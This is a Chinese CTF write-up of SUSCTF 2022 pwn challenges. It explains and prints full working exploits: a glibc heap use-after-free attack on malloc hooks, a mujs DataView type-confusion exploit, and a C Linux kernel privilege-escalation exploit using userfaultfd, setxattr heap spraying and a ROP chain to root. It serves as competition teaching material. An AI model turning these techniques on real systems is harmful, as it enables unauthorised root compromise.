SUSCTF2022-PWN-WP
这场 SUSCTF 的 pwn 题难度并不算高,我们做到凌晨一点多终于 ak 了 pwn。其中我做了 rain 这题,@xi4oyu 和学弟 @h4kuy4 一起解了 happytree 这题,然后我和 @xi4oyu 一起做了 mujs 和 kqueue。rain 是一个普通的堆题,比较简单,mujs 是一个 js 解释器 pwn,以前没接触过,小语想出了类型混淆的方法,我借此 debug 调偏移最后成功 getshell。kqueue 被非预期打穿了,我们在比赛期间完全没想通能有什么非预期,就参考了 L-team @arttnba3 师傅的这篇文章使用 “setxattr + userfaultfd 堆占位”的方法完成了利用。总的来说,学到了新东西,蛮好。这里总结一下解法。
rain
首先两个结构体猜了一下:
struct CONFIG
{
int height;
int width;
unsigned __int8 front_color;
unsigned __int8 back_color;
char **buf1;
int **buf2;
int rainfall;
int speed;
void *print_info_func;
char *alphabet_table;
char *custom_table;
};
struct config_frame
{
char height[4];
char width[4];
char front_color;
char back_color;
char rainfall[4];
char fill[4];
char custom_table_buf[];
};
v7 为 0 的时候就是 custom_table 被 free 了,即 realloc 的 size 为 0 时,但是没有置零指针,所以可以 UAF。
执行 rainfall 后,config 结构体会被重新初始化,所以可以获得走 __libc_malloc
的 realloc 机会
所以多次 double free leak 出 libc,然后通过 rainfall 多次取出 tcache bins,修改 next,打 __realloc_hook
和 __malloc_hook
one_gadget getshell
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
#sh = process("./rain")
libc = ELF("./libc.so.6")
sh = remote("124.71.185.75", 9999)
def config(frame):
sh.sendlineafter("ch> ", '1')
sh.sendafter("FRAME> ", frame)
def print_info():
sh.sendlineafter("ch> ", '2')
def rain():
sh.sendlineafter("ch> ", '3')
frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame = frame.ljust(18 + 0x188, '\xAA')
config(frame)
frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
print_info()
sh.recvuntil("Table:")
sh.recv(12)
libc_addr = u64(sh.recv(6).ljust(8, '\x00'))
libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x60
__free_hook = libc_base + libc.sym["__free_hook"]
__realloc_hook = libc_base + libc.sym["__realloc_hook"]
__malloc_hook = libc_base + libc.sym["__malloc_hook"]
malloc = libc_base + libc.sym["__libc_malloc"]
system = libc_base + libc.sym["system"]
realloc = libc_base + libc.sym["__libc_realloc"]
log.success("libc_base: " + hex(libc_base))
frame = p32(0x50) + p32(0x50) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(libc_addr) * 2
frame = frame.ljust(18 + 0x180, '\xAA')
frame += p64(0x190)
config(frame)
frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(__realloc_hook)
frame = frame.ljust(18 + 0x58, '\xAA')
config(frame)
rain()
frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
#frame += p64(system)
frame = frame.ljust(18 + 0x180, '\xAA')
frame += p64(0x190)
config(frame)
rain()
one_gadget = libc_base + 0x10a45c
frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(one_gadget) + p64(realloc + 10)
frame = frame.ljust(18 + 0x180, '\x00')
frame += p64(0x190)
#gdb.attach(sh)
config(frame)
sh.interactive()
mujs
hash 是 commit hash,clone 下来 diff 就行
分析 diff 发现添加了一个 DataView 类,审计代码发现 setUint8 方法中存在越界,可以 off 9 字节(这里盗用小语的图)
另外,Array 类在 setLength 时,length 增长时没有检测,由此考虑通过溢出修改下一个 DataView 对象的 type 字段为 Array 的 type 实现类型混淆,通过 array 的 setLength 修改 length 字段,然后再修改回 DataView 实现较大范围的 oob。通过 oob leak 出 libc 地址,修改一个 DataView 的 data 指针指向 __free_hook
,劫持为 system
,最后,通过字符串拼接获得一个存有 '/bin/sh'
的 chunk,重复赋值即可 getshell。
之后利用的主要难度在于代码的更改会影响到堆的布局,只能说耐心 debug 吧。
exp:
function test1() {
dvFill0 = new DataView(0xFF8);
dvFill1 = new DataView(0x58);
dvFill2 = new DataView(0x58);
dvFill3 = new DataView(0x58);
dvFill4 = new DataView(0x58);
dvFill5 = new DataView(0x58);
dvFill6 = new DataView(0x58);
dvFill7 = new DataView(0x58);
dvFill8 = new DataView(0x108);
dvFill9 = new DataView(0x1D8);
var dvArr = []
for (var i = 0; i < 0x51; i++) {
dvArr[i] = new DataView(0x18);
}
var dv1 = new DataView(0x18);
dv1.setUint32(0, 0xDEADBEEF);
dv1.setUint32(4, 0x13372333);
var dv2 = new DataView(0x18);
var dv3 = new DataView(0x18);
dv3.setUint32(0, 0xDEADBEEF);
dv1.setUint8(0x18 + 8, 1);
dv2.length = 0x7FFFFFFF;
dv1.setUint8(0x18 + 8, 0x10);
dv4 = new DataView(0x430);
dv4 = new DataView(0x18);
dv4.getUint8();
var libc_low32 = dv2.getUint32(0x640, true) - 2014176;
var libc_high32 = dv2.getUint32(0x644, true);
var libc_base = libc_high32 * 0x100000000 + libc_low32;
print(libc_base);
dv2.setUint32(0x48, libc_low32 + 2026280);
dv2.setUint32(0x4C, libc_high32);
dv3.setUint32(0, libc_low32 + 349200);
dv3.setUint32(0x4, libc_high32);
var s1 = new String("/bin");
var s2 = new String("/sh");
s = s1 + s2;
s = new String("/bin/sh");
}
test1();
//var dv3 = new DataView(0x10);
kqueue & kqueue’s revenge
两个环境用同样的 exp 打通了。
Linux kernel pwn,使用 slub 分配器,没开启 harden 和 freelist randomize。
push copy 有没有成功都已经把节点加进去了
pop 的时候锁没加对地方
这里的利用手法我们主要参考了这篇文章
我简单总结一下这个方法,利用时,通过 setxattr 可以用 kvmalloc 申请任意大小的空间,像其中通过 copy_from_user 写入数据,然后会被 kvfree 掉。为了不让该 slab 被 free 掉,在跨页拷贝时可以做到向申请回来的 chunk 中写入(一部分)数据,然后在 copy 到下一页时,我们通过注册 userfaultfd 卡住该页的拷贝,就可以避免 kvfree 的执行。这样就实现了在用户态 kmalloc 并写入数据的效果。
那么我们只需要构造 double free 和 leak 即可。
double free 的办法
head tail
| |
node1 -> node2
pop1 copy 时 userfaultfd 线程里 pop2
对于 pt_regs,断在 gadget 上
(gdb) x/20xg 0xffffc90000167f58
0xffffc90000167f58: 0x00000000beefdead 0x0000000011111111
0xffffc90000167f68: 0x0000000022222222 0x0000000033333333
0xffffc90000167f78: 0x0000000044444444 0x0000000055555555
0xffffc90000167f88: 0x0000000000000246 0x0000000077777777
0xffffc90000167f98: 0x0000000088888888 0x0000000099999999
0xffffc90000167fa8: 0xffffffffffffffda 0x000000000040209c
0xffffc90000167fb8: 0x0000000000000008 0x00007f7fbd637130
0xffffc90000167fc8: 0x000000000000006b 0x0000000000000000
0xffffc90000167fd8: 0x000000000040209c 0x0000000000000033
0xffffc90000167fe8: 0x0000000000000246 0x00007f7fbd637130
(gdb) p/x $rsp
$2 = 0xffffc90000167de0
计算得 offset: 0x178
刚开始ROPgadget和ropper工具都没找到合适的 gadget,最后小语通过 objdump -d
vim 打开,眼拔+搜索之后发现一个可用的 gadget 可以滑倒 pt_regs 上。
另外一个比较重要的点在于需要把进程绑定到一个 CPU 上,也就是 exp 中的这段代码
// 绑定到一个cpu上
unsigned char cpu_mask = 0x01;
sched_setaffinity(0, 1, &cpu_mask);
我们在调试时发现 double free 后,申请 seq_operation 和 setxattr 的 kvmalloc 时都无法申请到 double free 的 chunk,猜测是 kmem_cache
中的 struct kmem_cache_cpu __percpu *cpu_slab;
字段,也就是 cpu cache 造成的,所以把进程绑定到了一个 cpu 上,就成功分配了。
leak 使用了 shm_file_data
结构体。由于 push 和 pop 操作的锁是分离的,所以 push 时通过 userfaultfd 卡住 copy_from_user 的操作,此时 push 进的 node 里面还是脏数据,在 userfaultfd handler 中 pop 即可读出脏数据,由此完成 leak。
exp 照抄的 @arttnba3 大师傅的 exp,改了些偏移之类的。
// x86_64-buildroot-linux-uclibc-cc -masm=intel -static -pthread -o exp exp.c
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#define KERNCALL __attribute__((regparm(3)))
size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void get_userstat();
size_t commit_creds;
size_t prepare_kernel_cred;
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
static pthread_t monitor_thread;
int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}
void push(char *data)
{
if (ioctl(dev_fd, 0x1314001, data) < 0)
errExit("push!");
}
void pop(char *data)
{
if (ioctl(dev_fd, 0x1314002, data) < 0)
errExit("pop!");
}
static void * leak_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] push trapped in userfaultfd.");
pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81a32c00;
kernel_base += kernel_offset;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
static void * double_free_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] pop trapped in userfaultfd.");
puts("[*] construct the double free...");
pop(page);
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
size_t init_cred = 0xffffffff81a2a6e0;
size_t pop_rdi_ret = 0xffffffff8115305c;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81400d2e;
void get_root_shell()
{
puts("[*] get root shell...");
system("/bin/sh");
}
size_t mov_cr4_ret;
size_t pop_rax_4other_ret;
size_t init_cred;
size_t get_root_shell_addr;
void get_root_and_ret()
{
while (1)
{
/* code */
}
}
size_t get_root_and_ret_addr;
static void * hijack_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
puts("[*] setxattr trapped in userfaultfd.");
puts("[*] trigger now...");
for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);
// trigger
init_cred += kernel_offset;
pop_rdi_ret += kernel_offset;
mov_cr4_ret = 0xffffffff8101d910 + kernel_offset;
pop_rax_4other_ret = 0xffffffff81032761 + kernel_offset;
// mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81055cb0 + kernel_offset;
commit_creds = 0xffffffff81055ae0 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = kernel_offset + 0xFFFFFFFF81400AAA;
init_cred = 0xffffffff81a2a6e0 + kernel_offset;
get_root_and_ret_addr = &get_root_and_ret;
get_root_shell_addr = &get_root_shell;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, get_root_shell_addr;"
"mov r11, user_cs;"
"mov r10, user_rflags;"
"mov r9, user_rsp;"
"mov r8, user_ss;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
puts("[+] back to userland successfully!");
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
puts("[*] execve root shell now...");
system("/bin/sh");
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
return NULL;
}
}
int main(int argc, char const* argv[])
{
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;
signal(SIGSEGV, get_root_shell);
// 绑定到一个cpu上
unsigned char cpu_mask = 0x01;
sched_setaffinity(0, 1, &cpu_mask);
get_userstat();
dev_fd = open("/dev/kqueue", O_RDONLY);
if (dev_fd < 0)
errExit("open dev");
page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);
for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");
uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");
// leak kernel base
push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);
// create uffd thread for double free
uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);
// construct the double free
push("arttnba3");
pop(uffd_buf_uaf);
// create uffd thread for hijack
uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
printf("[*] gadget: %p\n", 0xffffffff81a6f327 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff810494c5 + kernel_offset; // add rsp,0x160, pop 4, ret
// // userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread
seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0);
return 0;
}
void get_userstat()
{
__asm__(".intel_syntax noprefix\n");
__asm__ volatile(
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags");
// printf("[+] got user stat\n");
}